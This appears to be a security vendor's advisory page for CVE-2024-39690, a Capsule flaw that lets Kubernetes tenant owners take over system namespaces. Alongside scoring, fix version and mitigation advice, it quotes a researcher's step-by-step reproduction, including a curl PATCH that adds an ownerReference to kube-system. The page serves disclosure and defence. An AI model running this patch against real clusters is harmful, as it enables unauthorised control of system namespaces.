CVE-2024-39690 is a high-severity (CVSS 8.4) CWE-863 vulnerability in github.com/projectcapsule/capsule. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/projectcapsule/capsule — see the affected versions and patch details below.
Capsule tenant owner with "patch namespace" permission can hijack system namespaces
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-39690.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-39690 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/projectcapsule/capsuleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Attack Vector
Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.
Below are my detailed reproduction steps
- Create a test cluster
kind create cluster --image=kindest/node:v1.24.15 --name=k8s - Install the capsule
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace - Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: tenant1
spec:
owners:
- name: alice
kind: User
EOF
- Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
- Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy
export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'
curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
- Check the result
The kube-system is patched successfully.
Summary
The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.
I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule | all versions | 0.7.1go get github.com/projectcapsule/capsule@v0.7.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/projectcapsule/capsule to 0.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-39690 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-39690 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-39690. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-39690 in your dependencies?
O3 Security finds CVE-2024-39690 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.